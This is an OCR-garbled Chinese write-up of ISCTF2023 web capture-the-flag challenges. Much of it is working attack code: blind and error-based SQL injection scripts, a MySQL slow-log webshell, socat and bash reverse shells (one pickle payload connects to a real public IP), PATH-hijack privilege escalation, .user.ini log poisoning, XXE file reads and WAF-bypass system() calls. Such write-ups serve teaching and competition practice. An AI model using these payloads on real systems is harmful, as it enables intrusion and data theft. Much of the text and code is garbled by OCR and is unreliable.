ISCTF2023E /B wWp
web

EZFRE where_is_the_flag SHFRLE easy_website

283 Solves 420 Solves 317 Solves 164 Solves

@ 58 @ 50 @ 58 ® 50

wafr ez_ini webinclude fuzzi
230 Solves 129 Solves 56 Solves 54 Solves

@ se @ 50 @ 703 ® 734

1z_ssql BiisTA deep_uebsite double_pickle
52 Solves 37 Solves 3 Solves 16 Solves

@ 753 & 870 @ 1eee ® 1000

B A-BLEE ez_php
@ Solves @ Solves

@ 1000 @ 1000

deep_website

HRIA: guogl

B ERERELSE, MR, FRSRER—AH,
SR

FAESQUENRR, ERTNESRE, KMNERIFENLL
SQUENE T EWAISQUERINZE, > <=FKF5
BTSS0S, REARABEIndex.php, ARIFEIES, #eTLUERE—NRIERS.

LB RS T benchmarkREH TS+,

[t
SN
8

import requests
import time

head = '''Host: 192.168.174.133:14124

Connection: keep-alive

Content-Length: 37

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

origin: http://192.168.174.133:14124

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; wow64) Applewebkit/537.36 (KHTML, Tike
Gecko) Chrome/109.0.5414.121 safari/537.36


af://n0
af://n2
af://n4

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.174.133:14124/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=7363df76975485eaae419dead6746cb7"'"' "' .split("\n")

verifyCode = "tfms"

url = "http://192.168.174.133:14124/checkLogin.php"

delay = 1.0

headers = {}

for k in head:
temp = k.split(": ")
i=temp[0]
j="".join(Ctemp[1l:])
headers[i] = j

nn

if headers.get("") is not None:

headers.pop("")

def fetchsqL(sql, pos):
for i in range(20, 129):
payload =
f"1')/*IUNION*//**//* | SELECT*/(CASE/**/WHEN/**/ASCII(mid(concat(({sql})),
{pos},1))A{i}/**/THEN/**/0/**/ELSE/**/BENCHMARK(8000000,md5 (1)) /**/END) #"
data = {"user":payload, "password":"1","verifyCode":verifyCode}
start = time.time()
connect = requests.post(url,headers=headers,data=data)
# print(connect.text)
end = time.time()
if end - start > delay:
return i
return None

def cracksqL(sql):
strs = ""

for pos in range(1,100):
temp = fetchsqQL(sqgl, pos)
if temp is None:

break

print(chr(temp),end="")
strs += chr(temp)

print(""™)

return strs

def mainQ:
sqll = "database()"



sql2 =
"/*1SELECT*//**/group_concat(schema_name)/**/from/**/information_schema.schemata

sql3 =
"/*1SELECT*//**/group_concat(table_name)/**/from/**/information_schema.tables/**
/where/**/table_schema/**/1ike/**/'secret'"

sql4 =
"/*1SELECT*//**/group_concat(column_name)/**/from/**/information_schema.columns/
**/where/**/table_name/**/1ike/**/'path"'"

sql5 = "/*ISELECT*//**/group_concat(filename)/**/from/**/secret.path"

sql6 = "/*ISELECT*//**/group_concat(filepath)/**/from/**/secret.path"

cracksQL(sql11L)# Fah)#sql

main()

RIMFANEER

flagggggg  wher_e_14_F5MSsYteUvm21W9w.txt,Mysql_connect_shell.php

flag is in the root directory and has root privileges

pEE—, BE—aE
flaglAroot AR REIRE R
AIEIMySQLARMEER

<?php
require_once "config.php";

if(isset($_POST["sql1"1)){
$sq1 = trim($_POST["sq1"1);
var_dump (fetchone($sq1));

}

else{
highlight_file(__FILE_);

}

?>

RIRHITSQLAYEIR
sqIERIHAREIR, secure file_priviBRIZFFRE, E=RBHTEN
set global slow_query_log=1;

SET GLOBAL slow_query_log_file="/var/www/html/shell.php"';
select '<?php eval($_GET[a])?>"' or SLEEP(11);

SREAT EE3EIE
BpETipEshell.php



IR E—aIEARDS
B—aiEARSHIITRSZE®S: apklist, KIH\socat
{$socatfz5#shell

socat exec:'bash -1i',pty,stderr,setsid,sigint,sane tcp:ip:port

[5EshellfE42A:
fE@sudo -| B, AL REH#11T/bin/menu
TE N RAidag& Astrings&B&menuX{d, &MEiILHIsystemBIIEINETE, [RERHBIIRER
HNesEMETEifconfighVE
cp /bin/bash /tmp/ifconfig

chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH

HEHAT

sudo menu

HIN2, $%{8shell, whoamitfR groot

SRIEFArootfBRcat /flag.txtBIA]

easy_website

HRA . guoq|
HBEMIPR T =&, 128 T union #0 select, password. information&

oJLMERB%EY: uniunionon, selselectect, infoorrmation_schemasR&4dfREH, ZSH&alfEH /+*/
g %09%5ad

{#ERupdatexm| ETFIREISEREH

'oorr/**/updatexml (1, concat(0x7e,
(selselectect/**/(schema_name)/**/from/**/infoorrmation_schema.schemata/**/Timit
/*%/5,1),0x7e) ,)#

JBEER SJusers
BrRIERERRERS


af://n41

'oorr/**/updatexml (1, concat(0x7e,
(selselectect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables
/**/where/**/table_schema="users'),0x7e),1)#

IRRZ Nusers
BHRBEBERE

'oorr/**/updatexml (1, concat(0x7e,
(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.colum
ns/**/where/**/table_schema='users'/**/aandnd/**/table_name='FLAG_TABLE'),0x7e),
D#

1851142 9password
BrrIaEEEflag
'oorr/**/updatexml (1, concat(0x7e,

(selselectect/**/(passwoorrd) /**/from/**/users.users/**/Timit/**/2,1) ,0x7e) ,1)#

JRiflag

THGTA

HEFEA: guoql


af://n60

Bakmiilt: http://192.168.174.133:14122/game
B¥GiE: posT

KSHES: @ 200 oK

misithiif: 192.168.174.133:14122

JEFRBERIEESS: strict-origin-when-cross-origin

RrtiRsk EEIRH

“ontent-Length: 557

_ontent-Type: text/html; charset=utf-8

Jate: Fri, 24 Nov 2023 13:34:38 GMT

verver: Werkzeug/2.8.2 Python/3.8.10

set-Cookie: userInfo=gASVIgAAAAAAAABOICIMBGShbWWUjAMXMTGUjAtpC19
jaGFtcGlvbpRLAHUuU; Path=/

KRRk EEIEES

Accept: text/html,application/xhtml+xml,application/xml;g=06.9,1
1age/avif,image/webp,image/apng,™*/*;q=0.8,application/signed-ex
hange;v=b3;q=06.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=6.9

“ache-Control: max-age=0

_onnection: keep-alive

“ontent-Length: 138
“antant.-Tuna moltinart fMFfarm_dAatas hanndaru—_ _ _ _Llahi+CarmBrninda

&Iset cookie
¥ cookie base64fi#FD
KM ApickleF B

80 94 95 22 00 00 00 00 00 00 00 7d 94 28 8c 84 |..."....... }.(. .|
6e 61 6d 65 94 8c ©3 31 31 31 94 8c Ob 69 73 5f |name...111...is_|

63 68 61 6d 70 639 6f 6e 94 4b 88 75 2e 3d ab 61 |champion.K.u.=«a|

igshelly



Recipe om s Input + 03w

__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port 0<81"')
To Base64

A-Za-z0-9+/=

mc 69 = 1 Q 69 Tr Raw Bytes

Output 2 B0 M

X19pbXBvenRfXygnb3MnKS5zeXNOZWeoI2Jhc2ggLMgInIhc2ggLitkgP1YgL2R1d1i98Y3AvaXAvcGOydCAWPCYXTicp

HgitEpicklediE
] nput T JCJ =

ctimeiter

repeatcr

(ccodecscr

decodecr

(cbasebdcr

bé4decode cr
(VX19pbXBvenRfXygnb3MnKS5zeXNOZWweol2Jhe2ggliMgImlhec2gglilkgPiYgL2R1di90Y3AvaXAveGSydCAWPCYXIicp
tRtRtR.

=c 158 = 8 Tr Raw Bytes < LF

Output A« g0 m:o:

Y3RpbWVpdABKcmVwZWFeDQooY2NvZGVjcweKZGVib2R1DQooY2Jhc 2U2NABKYJYROZGYjb2R1DQooV1gxOXBiWEI2Y255Z1h5Z725iMB1uS1M1e
mVYTjBaVzBvSjIKaGMyZ2dMVe1nSW1KaGMyZ2dMV2tnUGlZZewyUmxkaTkwiWTNBAmFYQXZjRz15ZENBd1BDWXhJaWNwCnRSdFJeUi4=

AR R EnN T

[root@VM-16-3-centos ~]# nc —-1lvp 4445
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4445

Ncat: Listening on 0.0.0.0:4445

{&Mcookies(E



=4 (2) Profile 2 ~ + Il LocKTAB A i

a &8 Request headers

LL L]

B [ User-Agent Cute-Bunny " X
= Cookie userinfo=Y3RpbWVpdApyZXBIY e X
[] Referer bunnybunnybunny.com e X
[] X-Forwarded-For 127.0.0.1 " X
[] Host Value " X
[] Content-Type application/json e X
[] Authorization Bearer sk-6NmwluwB1TOpVEdc " X
[] Cookie session=gAMoY29zCnN5c3RIbC 7 X
[C] Response headers :
G [J Name ap " X

©)

I3 ERE

bash: cannot set terminal process group (1l): Inappropriate ioctl for device
bash: no job control in this shell
root@f83f894a3f33:/# whoami
whoami

root

root@f83f894a3f33:/4# 1s

1s

Dockerfile

_ pycache

app-py

bin

boot

dev

etc

fl A g.txt

home

1lib

1ib32

lib64

1ibx32

media

mnt

opt

proc
requirements.txt
root

run

sbin

srv

static

EVE]

tmp

usr

var

waf.py
root@f83f894a3f33:/#

getshell


af://n81

1z_Ssql

HEA: bthcls

robots.txtghint

— C @ O &8 192.168.31.60:8021/robots.txt

Jser—agent: #*
)isallow: /here_is_a_sercet. php

iala)/here_is_a_sercet.php

< C @ O 8 192.168.31.60:8021/here is a sercet.php 82 9

<{?php

highlight file("here is_a sercet.php”)

function waf($str)
$black_list = "762V08zk+xrmKxIFrdJIJj6ULvISLcOpX39L jDyIUb0eAGkZe4KQa87T JXugnFwlu/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g="";
if (preg_match(8black_list, §str)) {

die("<h4>illegal words!</h4>");

return $str;

iy

IR EREINE T, EEREERNNE T —Psmd js, BEHER—MEEHE

F OnEe Deus DaE=e NEs Jussew Qo Owor Bes F Setfs B aSes @ Hacksar EditThisCaakie e @]
"+ Q @ B HTML CS5 IS XHR =6k B8 W WS nil WMETF AU {
= e A B WEX Cookie R Wl F s

Eo] X =]
# 192.168.31.60:8021
1521 1

i 192168.31608021  smdjs

acument Btml 313 2. SIS (payload)

console.log("WE&: " + result)

Eiftpayload MINERIRZREFRFER, node decrypt jsizfTHEZIIA

/home/kali/Desktop/pollute
decrypt.js

f2 2 : /union=| +|sleep|benchmark| for|where|sys|innodblis|null|likel| /*|*//1i

BRIEFRILENFRE
EEREMEEN A unioniZrillegal wordsIEEF4F RIEIT sk sT


af://n81

hint2RAY, EXEATLFEEM/REE, RIBLRNFS, MEESMKERILIERR, B2
R AMTT . FERELRMASRIEN, TEREAR

import requests

import string

import time
url="http://192.168.31.60:8021"'

i=0

db_name_1len=0

print (" [+] IEESMREGE ERKE . ... .. ")

while True:
payload = "'or(length(database())<>{})#".format(i)
params={

"username":"{}".format(payload),
"password":"1",
Ilsubm_i t" : "Zé%"



}

res=requests.post(url=url,data=params)

if "HPAEELE R in res. text:
db_name_1len=i
print ("#dEEKE N "+str(db_name_len))

break
if i==30:
print('error!')
break
i+=1
print("[+] IEAESMEARIESF. ... .. ")
db_name=""

for i in range(1,db_name_len+1):
for k in range(0,128):

payload = "'or(ord(substr(reverse(substr(database() from {})) from {}))
<>
{PH#" .format(i,7-1,k)
params={
"username":"{}".format(payload),
"password":"1",
"submit" " ER"
3

res=requests.post(url=url,data=params)
if "HPAEEEER in res. text:
db_name+=chr (k)
break
print("HEE N %s"%db_name)
#IBED R A 7 B4
print("[+] B BEIER G FMER LT . ... .. ")
true_table_name=""
true_column_name=""
with open('table_name.txt','r',encoding="utf8') as f1:
with open('cloumn_name.txt','r',encoding="utf8') as f2:
for table_name in fl.readlines():
table_name = table_name.strip()
for column_name in f2.readlines():
column_name = column_name.strip()
payload = "'or(length((select(group_concat({}))from({}.
{3)))>0)#".format(column_name,db_name,table_name)
params={
"username":"{}".format(payload),
"password":"1",

nLnye =n

"submit":" &3

res=requests.post(url=url,data=params)

if 'smart' in res.text:
true_table_name = table_name
true_column_name = column_name
print("EHERMFB AN {3

{}".format(true_table_name, true_column_name))

continue
=0
column_len=0
print(' [+] EEBMTEKE. .. .. D)

while True:



payload =
{H#".format (i)
params={

or(length((select(group_concat(password))from(bthcls.users)))<>

"username":"{}".format(payload),
"password":"1",
"Subm'it" : llﬁ%ll

res=requests.post(url=url,data=params)
if "THPREGELER in res. text:
column_len=i
print ("FEKERN: "+str(column_len))
break
if i==30:
print('error!")
break
i+=1
print("[+] EAESTFBMHE. ... .. ")
column_value=""
for i in range(l,column_len+1):
for k in range(0,128):
payload =
or(ord(substr(reverse(substr((select(group_concat(password))from(bthcls.users)
)fro
m({P))from({)D))<>{H)#".format(i,column_len+1-1,k)
params={
"username":"{}".format(payload),

"password":"1",
"submit":"ER"

res=requests.post(uri=url,data=params)
if "THPREGERAR in res. text:
column_value+=chr (k)
break
B EREN, EFEEFag, HP 4 4R Zadminik
print("¥dEE N %s"%column_value



sqib/REiEpy X

column

.format(payload),




import requests
import string
import time

url="http://192.168.31.60:8021"
i=0
db_name_len=0
print (' [+] EERREEELE. ... .. )
while True:
payload = "'or(length(database())<>{})#".format(i)
params={
"username":"{}".format (payload),
"password”:"1",
“"submit":"&a"
}
res=requests.post{url=url,data=params)
if "R EENER in res.text:
db_name_1en=1i
print (" EdEEKE N "+str(db_name_len))
break
if i==30:
print(‘error!"')
break
i+=1

print("[+] EfERREHRERT. ... .. ")
db_name=""
for i din range(l,db_name_len+1):
for k in range(0,128):
payload = "'or(ord(substr(reverse(substr(database() from {})) from {}))<>
{H#" . format(i,7-1,k)
params={
"username":"{}".format(payload),
"password":"1",
"submit":"EFE"
1
res=requests.post(url=url,data=params)
if "HPE®EBHIR' in res_text:
db_name+=chr (k)
break
print("EdEE S %s"%db_name)

#R ST R &
print("[+] EERREERETHTRET . ... s

true_table_name=""
true_column_name=""

with open('table_name.txt','r',encoding="utf8') as fl1:
with open('cloumn_name.txt','r',encoding="utf8') as f2:
for table_name in fl.readlines():



table_name = table_name.strip()
for column_name in f2.readlines():
column_name = column_name.strip()
payload = "'or(length((select(group_concat({}))from({}.
{31)))=0)#".format (column_name,db_name,table_name)

params={

"username":"{}".format(payload),

"password":"1",

"submit":"HgE"

}

res=requests.post(url=url,data=params)

if 'smart' in res.text:
true_table_name = table_name
true_column_name = column_name
print("HdEEMFEE N {3

{}".format(true_table_name,true_column_name))

continue
i=0
column_Tlen=0
print(' [+] EERHREERE. ... . )
while True:
payload = "'or(length((select(group_concat(password))from(bthcls.users)))<>
{H#".format (i)
params={
"username":"{}".format(payload),
"password":"1",
"submit":"&3"
}

res=requests.post{url=url,data=params)
if "R P EEFHEEiR' in res.text:
column_len=i
print ("FEKEN:" +str(column_len))
break
if i=30:
print("error!"')
break
i+=1

print("[+] EfERHFEE. ... .. ")
column_value=""
for i din range(l,column_len+1):
for k in range(0,128):
payload =
""or(ord(substr(reverse(substr((select(group_concat(password))from(bthcls.users))fr
m(C{P D from({}) ) <={})#".format(i,column_len+1l-1,k)
params={
"username":"{}".format(payload),
"password":"1",
"submit":"&Ea"



T
res=requests.post(url=url,data=params)

if THAERERER in res.text:
column_value+=chr(k)
break

print("EdRER: %s"%column_value)

BRIERZME, ERE5lag, BPALARadmini

double_pickle

HRRA: Jay17

192.168.142.132

S ESH, KEARE4.

y



af://n104

FANORERE, 1B — T RiZ/hintfl/calc
/hintBXAEIZINT: BETLETIRG, TRERREE, BRBERR, TLUNER.

ESTERLEErHREEEAE, FieE, BEETRS, EENEEITFME, SIEEBMSE: pickleloads(base64.bbddecode(payload).replace(b'os’,
b“).replace(b'reduce’, b").replace(b’system’, b").replace(b'env’, b").replace(b'flag’, b"))

LOAD SPLIT EXECUTE TEST = sQLl = ngE = LFI = S8TI = SHELL = ENCODING = HASHING = THEME =

Migexp: (linux 4T

import pickle
import os
import base64

class Jayl7(Q):
def __reduce__(self):
return(os.system, ('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023
0>&1""',)) #/shel 1. BN BEERNE HIES ABR.

a= Jayl7()

payload=pickle.dumps(a).replace(b'os', b'ooss').replace(b'reduce’,
b'redreduceuce') .replace(b'system', b'syssystemtem').replace(b'env',
b'enenvv').replace(b'flag', b'flflagag') #W5%L

payload=base64.b64encode(payload) #basefitbyte
print(payload)

ERER:  (ICBURLURIBEEBAIX)

gASVUAAAAAAAAACMBXBVb3NZzaXiUjAZzeXNzeXN0zZwW10zw2Uk5SMNwIhc2ggLwMgImIhc2ggLwkgPiYg
L2R1di90Y3AVMTIWLjQ2LjQXLJE3MYy85MDIZIDA+IJET 1IWUUPQU

192.168.142.1 32:5025 x +

8 wp3ss - rot@hecs-33905: - - ¥shell 7 (Free for HomeySchool

192.168.142.132
D WEE weA TMD SEHE BOM) R

B EE, KEERY, ' .- - @A 0 I T 1)
n
AT "x
Husi er-entrypoint.sh
in ] o v
LOAD SPLIT EXECUTE TEST - SQUl - XSS = LFl - &

root@dcl1l829c26b62:/app# tac /flag
tac /flag

flag{jayl/b8d-/1f85-4d44-86b9-b11d93/e0691}


af://n119

ez ini
HEA: Jay17
WP

RUERXS S LSS T LRSS BT . Bl _Ef&.user.ini, BRITIET<.

RCES LCI
| prety s n = I 5 trEsl Render [ W0 =
1 POST Juplead. php HITP/1.1 1 HITP/1.1 200 OK
2 Host: 192,168, 142, 132:9024 2 Server: nginx/l. 16.1
2 Content-Length: 219 3 Date: Fri, 13 Oect 2023 17:01:27 GNT
4 Cache-Control: max-age=0 4 Content-Type: text/html; charset=UTF-8
5 Upgrade-Insecure-Requests: 1 > Comnection: close
6 Origin: http://192, 168. 142, 132:9024 6 X-Powered-By: PHP/7.3.11
7 Content-Type: multipart/form-data; 7 Content-length: 33
boundary=----WebK1tFermBoundar yUmdCN5pVul JZMyWA
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) Lixrazmmﬂilkﬂﬁﬂ?rwrb?

AppleWebK11/537. 36 (KHIML, like Gecko) Chrome/118.0.0.0
Safari/537. 36

) Accept:
text/html, application/zhtml+xml, application/zml; g=0. 9, image/avif, 1
mage/webp, image/apng, */*;g=0. 8, application/signed-exchange; v=h3;q=
0.7

10 Referer: http://192. 168, 142. 132:9024/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CHN, zh q=0.9, en;q=0.8

12 Comection: close

15 —-——-—-WebK1tFormBoundar yUmMCNopVul JZUyWA
16 Content-Disposition: form-data; name="file”: filename=".user.ini”
17 Content-Type: application/octet-stream

].‘:'I auto_append file=<7php I
20 -=——-WebK1tFormBoundar y UnMCN5pVul JZMyWA--

B&5HE, XEBHHauto_append_file=/var/log/nginx/access.log,
TR

1. Ef&.user.inic&X/4, ABEMauto_append_file=/var/log/nginx/access.log (HEHIRIR)
Bz & RENH

2. EER TFphp3f4sh$TFrhackbar, UAKHITEDUN <?php eval($_POST[11);,?>", &iX.

3. POSTHE =HtAftA, #HTRCE

ik WAL
ey | teEm B = B F= trad Render [ 0 =
1 POST /upload. php HITP/1.1 1 HITP/1.1 200 OK
I Host: 192, 168, 142, 132:9024 2 Berver: nginz/L 161
3 Content-Length: 239 % Date: Wed, 22 Nov 2023 18:23:19 GMT
i Cache-Control: max-age=0 I Content-Type: text/html; charset=UTF-8
5 Upgrade- Insecure-Requests: | 5 Commectien: close
5 Origin: http://192, 168, 142, 132:9024 & E-Powered-By: PHP/T.3.11
Content-Type: multipart/ferm-data; boundary=----WebK1tFornBoundaryE1eWiB11s2aBL71T Content-Length: 50
3 User-Agent: Mozilla/5. 0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like 8
Gecko) Chrome/119.0.0.0 Safari/537. 36 9 P AR, fPifEREEA: |/ user. ini
1 Accept:

text/html, application/xhtml4xml, application/zml;q=0. 9, image/avif, image/webp, image/apng, #/#
1a=0. 8, application/signed-exchange: v=h3;q=0. 7

Referer: http://192, 168, 142, 132: 9024/

Accept-Encoding: gzip, deflate

! Accept-Language: zh-CN, zh:q=0. 9, en:q=0. 8

i Cookie: _pk_id. 1. 49da=1a011830e41££106. 1698061626,

i Connection: close

§ [mm—— WebKitFormEoundar yELeWi81tsZaELTLT
7 Content-Disposition: form-data; name="file”; filename=". user.ini”
i Content-Type: applicationfoctet-stream

) auto_append_file=/var/log/nginx/access. log
L (=== WebKitFormBoundar vEleWi81ts2aBLTIT-—

HERINEEupload.phpibgetshel #1777 .

UASLE S <?php eval($_POST[1]);?>


af://n119

Scorces  Pefumance  Mamory  Lighthauce B @ § X

192.168.142.1 - - [22/Nov/2023:18:23:19 +0000] "POST fupload.php HTTP/1.1" 200 61 “http://192.168.142.132:9024;" A OO Hecde S Apriaien Mok Genrls
“Mozilla/5.0 (Windows NT 10.0; Winb<; x64) AppleWebKit/537 36 (KHTML. like Gecko) Chrome/119.000 Safari/537.36° i ; . R ) i
192.168.142.1 - - [22/Nov/2023:18:25:04 +0000] "GET Jupload php HTTP/1.17 200 238 *-" "Maozilla/5.0 (Windows NT L Glv GRS Wy G LiL LEl EETl ENERE ESCOTNE
100; Winbe; w64) AsplelWebit/S37.36 [KHIML lice Geeko) Chrome/110.00 Safori/537.36" 192.168.1421
122/Now/2023:18:25:22 +0000] "GET /upload.php HTTP/1.1° 200 5 ° S .

hitp:192.168.142.132-9024/ upload php

POST
ADD HEADER
User-Agent = «?php aval(S_POST[1]);?>
L AN/

POSTIESHIT®S.
192.168.142.1 - - [22/Now/2023:18:23:19 +0000] "POST /upload.php HTTP/1.1* 200 61 “hitp./(192.166.142.132:9024/" R | tocfar  Gomects  soplcson Mook i R e R S e LLEE
Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 LOAD  SPLIT  EXECUTE TEST - SOLI - X85 - LFl - S8TI - SHELL -  ENCODING

192.168.142.1 - - [22/Nov/2023:18:25:04 =0000] "GET Jupload.php HTTP/1.1" 200 238 "-° "Mozilla/5.0 (Windows NT
10.0; Winbd; x64) AppleWebKit/537 36 (KHTML, like Gecko) fhromef'l'lﬂ() 0.0 Safar/537.36° 192.168.142.1

122/Nov/2023:16:25:22 + uoum GET /upload.php HTTP/L1* 200 5 bm dev etc th |\olnr lib media mat opt proc
root run sbi I

200 526 * fevetc ﬂ.)g home Ilbrm-:lm mnt npl proc raot runsbm srv st.m ws st var | 192 168,142 1 - -
I2£/Nav}20 TTE2606 +0000] PO pload. pl m WA upload.ohp*

Php H P
"Mozilla/s.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Ge(ko] chromeﬂ 19.0.0.0 Safari/537,36”

fuzz!

A Jay17
B TIRG:
<?php

/7‘:
Read /flaggggggg.txt

hittp://192.168.142.132-:0024/upload php
application/x-www-form-urlencoded

1=system(ls /);

ADD HEADER

O useragent = «?php eval(S_POST[1]i?>

Hint: FEE%ESTuzz, HEBESE—AND—AD0EEE RN

."/

error_reporting(0);
header('Content-Type: text/html;
highlight_file(__FILE_);

$file = "file:///etc/passwd’;

HHRANTE: curldp & n] LU RO 4L, dicurl file:///etc/passwd

charset=utf-8');

if(preg_match("/\" I\~ [\EIN@IN\# [\\S [NBINATNN&NF INCIN) NS IN=INNNNIN NG TN

<I\>I\, I\?|jay/i", $_GET['file'])){
die("RELfuzz— FHi~");

}
if(!preg_match("/fi|le|flag/i"
$file = $_GET['file'];

}

system('curl '.$file);

B{xk&#&asisctf,
BEARBRAA,

curldip$ s éﬂl%wﬁq S,
wWIES, NE—mERM=RE

BEEburp TN FRIYfuzz, LUETEREREIRBISIRRFR.

i)

, $_GET['file']I)){

BEHSS |SikFiHTuzz, SfuzzikHiRiTIEa

(fuzzRBIFRG 2T
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wE GE A 6. Intruder attack of http://192.168.142.132:9026 - Temporary attack - Not saved to proj

Results Positions Payloads Resource Pool Options

s

B AR Hs 7 R KE fuzz g
38 s 200 2750 2
39 d 200 2750 H
20 f 200 2750 2
a1 g 200 2750 2
a2 h 200 2750 2
3 J 200 2750 2
a4 k 200 2750 2
45 | 200 2750 H
46 m 200 2750 H
a7 n 200 2750 2
48 b 200 2750 2
29 v 200 2750 2
50 c 200 2750 2
51 x 200 2750 2
52 z 200 2750 H
53 200 2750 z
55 . 200 2750 2
58 7 200 2750 2
59 [ 200 2750 2
60 1 200 2750 2
63 - 200 2750 H
76 { 200 2750 H
77 1 200 2750 2
78 | 200 2750 2
80 : 200 2750 2
84 7 200 2750 2
86 - 200 2750 2
Request  Response

[l B triEdl Render n =
1 HITP/1.1 200 0K

O Servert neins/1 16 1

Kggigdig 4. 0. . HBHEAIFTLMEEILITAMNpaylaod:

?file=f{i}1{e}:///f1{a}ggggggg. txt

B IENILAcSeid

?file=f[i-i11[e-el:///f1[a-alggggggg. txt

<Zphp

Read
Hint
IR Ab e curld 4t a] BLH] sl B 30 cur :///etc/passwd

error_reporting (0) ;
header (" Content-Type: text/html; charset=utf-8");
highlight file(_FILE_);

$file = ’file:///etc/passwd’ ;

if (preg_match ("/\" N7\ \@[\#

die (" {R5E Efuzz — FHk

WA D I =W VN NN I (N2 ay/i”, $_GETD file’ 1)) {
)
-if(fpreg_match(”.-'fl le|flag/i”, S§_CGET[' file’1)){

$file = $_GET[ file ];

‘ss"stem(’ curl '.§file);

i fuzz., A4 HE :
fe: curlr A tar L] ke st IO pEng,

error_reporting (0) :

header (" Content-Type: text/html; charset=utf-8);
highlight_file(_ FILE_ ):

$file = “file:///etc/passwd ;

if (preg_mateh ("/\7 [NV V@A NS SN N& kO POV VG NS, (N2 jay/i”, $_GETL file' 1)) {
die (" /i :

ffuzz - M)

‘if(fpregfmatch(” 'fille|flag/i”, $§ GET[ file'1)){
§file = $_CET[ file'1;

é}-‘stem(’ curl .$file):

ISCTF{Fuzz is_a great trick Did you find curly braces?-Jay17}

s [o HackBar Elements Application Network Console  Sources Performance Memory Lighthouse

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ XSS - LFI ~ SSTI -~ SHELL -~ ENCODING -~

URL
http://192.168.142.132:9026/ile=f{i}l{e}.///f{a}ggggggg.txt

where_is_the_flag

HASHINC


af://n151

A Jay17

POST:

1=system('tac flag.php');
l=system('tac /flag2');
l=system('env');

PHP_INI_DIR=/usr/local/etc/php SHLVL=2 HOME=/home/www-data PHP_LDFLAGS=-WI,-O1 -WI,--
hash-style=both -pie PHP CFLAGS=-fstack-protector-strong -fpic -fpie -O2
PHP_MD5= PHP_VERSION=5.6.40 GPG_KEYS=0BD78B5F97500D450838F95DFEB57D9A90DI0ECT
6E4F6AB321FDCO7F2C332E3AC2BFOBC433CFCBB3 PHP CPPFLAGS=-fstack-protector-strong -fpic -fpie
-02 PHP _ASC URL=https://secure.php.net/get/php-5.6.40.tarxz.asc/from/this/mirror

® [B HackBar Elements Application MNetwork Consale Sources Performance Memory Lighthouse | @ | I

LOAD SPLIT EXECUTE TEST - sQul - xss - LFI - ssTI - SHELL - ENCODING -~ HASH

hitp://192.168.142.132-9023/

9 _’_I’ application/x-www-form-urlencoded v ADD HEADER

1=system(env’);

webinclude

HEA . mikannse

MREAFEESH, FindexbakXf, THEE., FERNRE, FEFABAXBENMREGSHBHT
mnz, m&EErhash{Edxdydxdudxdtdxeadxekdxea

RERERA:

def textToarray(hash):
array =[]
for c in hash:
code = ord(c)
array.append(code-97)
return array

def arrayTostring(array):
string=""
for i in range(0,len(array),2) :
string+= chr(array[i]*26+array[i+1])
return string

if _name__ == "_main__":
print (arrayTostring((textToarray((arrayTostring((textToarray(hash))))))))


af://n158

15581 Amihoyo, MBEFEEXHEERE, HEHIBREE—"Mag.php, FIBERINGEEEE

)

?mihoyo=pHp://FilTer/convert.base64-encode/resource=flag.php

warf

HREA: Jay17

FE, Egkwaf, HO/EEH, SRERIGE.
<?php
— d la rggEEeEE. TX1
error_reporting (0} ;

header (" Content-Type: text/himl; charset=uL[-8);
highlight file( TFILE );

if (preg match ("/cat |tac mare|less|head tail|nl|sed|sort uniql rev|awk od|vi vim/i”,
die ("HIEILIF? KM )

'

elseif (Dng match (7 0] YT NSNS Jav/17, § POSTD code” 1)) |
die (" BT H%TR CE? )\HH' )

i

elseif (preg match(”/bash|nc|curl|sess \{|:];/i", $_POST[ code 1))

die ("FHIETI? KIEL L)
}

clseif (preg_match(”"/fl|ag|y. =/i”, §_POST[ code’ 1))
die ("M D7),

assert (§_POST[ cade’ 1) ;

POST:

code=system('strings /f*")
code=system('paste /f*"')
code=system('ca\t /f*")

ez_php

HREA: fmyyy
RADHEIT+TEBE+XXE

register.php b FEEEES

§ POST cade” 1)) |

Iflag


af://n168
af://n175

<?xml version='1.0'?>

<userinfo>

<usernam username=>

<passwor /password>

</user>
</userinfo>
bxtract(

( (

(!preg_match(

register_user(

B, RIEMBRPIARRERPERL MBI FhE.
FEE P TXmI

get_user_record(

et_contents(

HFiExxe, HIANFIAZEBESA

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
1>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>

58

/register.php?
username=aaa&password=aaa&user_xml_format=%3c%21%44%4t%43%54%59%50%45%20%74%65%7
3%74%20%5b%0a%20%20%20%20%20%20%20%20%3 c%21%4 5%4€%54%49%54%59%20%7 8%7 8%65%20%53%
59%53%54%45%4d%20%22%66%69%6%65%3a%2 %2 %2 %66%6 c%61%67%22%3e%0a%20%20%20%20%20
%20%20%20%5d%3e%0a%3c%7 5%7 3%65%7 2%69%6e%66%6T%3e%0a%3c%7 5%7 3%65%7 2%3e%0a%20%20%2
0%20%3 %7 5%73%65%7 2%6€%61%6d%65%3 %2 6%7 8%7 8%65%3b%3 %2 %7 5%7 3%6 5%7 2%6€%6 1%6d%6 5%
3e%0a%20%20%20%20%3c%70%61%7 3%7 3%7 7%6 %7 2%64%3€%31%32%33%3c%21%70%61%7 3%73%77%6T
